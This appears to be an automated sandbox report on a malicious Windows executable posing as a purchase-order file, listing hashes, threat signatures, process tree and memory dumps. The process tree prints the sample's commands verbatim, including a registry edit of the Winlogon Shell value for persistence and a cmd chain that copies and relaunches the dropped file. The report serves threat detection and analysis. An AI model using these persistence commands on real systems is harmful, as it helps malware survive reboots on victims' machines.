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Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/05/2023, 09:15

General

  • Target

    PO FILE87965345 exl.exe

  • Size

    1.8MB

  • MD5

    26fa36b587e07bde2d99f329ba553e9c

  • SHA1

    5d2b42a954666f85fcf91475c3ec361c4c254764

  • SHA256

    511bd4f1051444242dda8ae6df80720106a6b4d60eab89658baffb142affe730

  • SHA512

    413bf79332518b6af56cc23c162d2b981a94744e463b1a01ab8f3699c681cad077d177e3213132d1791969810bc7065667b331deb4f51570a31c96a625b4c694

  • SSDEEP

    12288:9d7uix2TBXVnBGw4I/6QTdp7lRpIlfMer5iiTvdyEp8NMXzp4J2cT3RnnrgYs3aF:98MXzCYqBrfGadT

Score
10/10

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PO FILE87965345 exl.exe
    "C:\Users\Admin\AppData\Local\Temp\PO FILE87965345 exl.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:464
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 38 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\htv.exe,"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 38
        3⤵
        • Runs ping.exe
        PID:2612
      • C:\Windows\SysWOW64\reg.exe
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\htv.exe,"
        3⤵
        • Modifies WinLogon for persistence
        PID:2244
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 40 > nul && copy "C:\Users\Admin\AppData\Local\Temp\PO FILE87965345 exl.exe" "C:\Users\Admin\AppData\Local\htv.exe" && ping 127.0.0.1 -n 40 > nul && "C:\Users\Admin\AppData\Local\htv.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:952
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 40
        3⤵
        • Runs ping.exe
        PID:4904
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 40
        3⤵
        • Runs ping.exe
        PID:3676
      • C:\Users\Admin\AppData\Local\htv.exe
        "C:\Users\Admin\AppData\Local\htv.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2580

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\htv.exe

    Filesize

    1.8MB

    MD5

    26fa36b587e07bde2d99f329ba553e9c

    SHA1

    5d2b42a954666f85fcf91475c3ec361c4c254764

    SHA256

    511bd4f1051444242dda8ae6df80720106a6b4d60eab89658baffb142affe730

    SHA512

    413bf79332518b6af56cc23c162d2b981a94744e463b1a01ab8f3699c681cad077d177e3213132d1791969810bc7065667b331deb4f51570a31c96a625b4c694

  • C:\Users\Admin\AppData\Local\htv.exe

    Filesize

    1.8MB

    MD5

    26fa36b587e07bde2d99f329ba553e9c

    SHA1

    5d2b42a954666f85fcf91475c3ec361c4c254764

    SHA256

    511bd4f1051444242dda8ae6df80720106a6b4d60eab89658baffb142affe730

    SHA512

    413bf79332518b6af56cc23c162d2b981a94744e463b1a01ab8f3699c681cad077d177e3213132d1791969810bc7065667b331deb4f51570a31c96a625b4c694

  • memory/464-143-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

    Filesize

    64KB

  • memory/464-135-0x00000000050C0000-0x0000000005152000-memory.dmp

    Filesize

    584KB

  • memory/464-137-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

    Filesize

    64KB

  • memory/464-138-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

    Filesize

    64KB

  • memory/464-139-0x0000000005F70000-0x0000000005F7A000-memory.dmp

    Filesize

    40KB

  • memory/464-140-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

    Filesize

    64KB

  • memory/464-141-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

    Filesize

    64KB

  • memory/464-142-0x0000000005FA0000-0x0000000005FB0000-memory.dmp

    Filesize

    64KB

  • memory/464-133-0x0000000000C80000-0x0000000000E58000-memory.dmp

    Filesize

    1.8MB

  • memory/464-136-0x0000000005160000-0x00000000051FC000-memory.dmp

    Filesize

    624KB

  • memory/464-134-0x00000000055D0000-0x0000000005B74000-memory.dmp

    Filesize

    5.6MB

  • memory/2580-150-0x0000000000650000-0x0000000000828000-memory.dmp

    Filesize

    1.8MB

  • memory/2580-151-0x0000000006470000-0x0000000006480000-memory.dmp

    Filesize

    64KB

  • memory/2580-152-0x0000000006470000-0x0000000006480000-memory.dmp

    Filesize

    64KB

  • memory/2580-153-0x0000000006470000-0x0000000006480000-memory.dmp

    Filesize

    64KB

  • memory/2580-154-0x0000000006470000-0x0000000006480000-memory.dmp

    Filesize

    64KB

  • memory/2580-155-0x0000000006470000-0x0000000006480000-memory.dmp

    Filesize

    64KB

  • memory/2580-156-0x0000000006470000-0x0000000006480000-memory.dmp

    Filesize

    64KB

  • memory/2580-157-0x0000000006470000-0x0000000006480000-memory.dmp

    Filesize

    64KB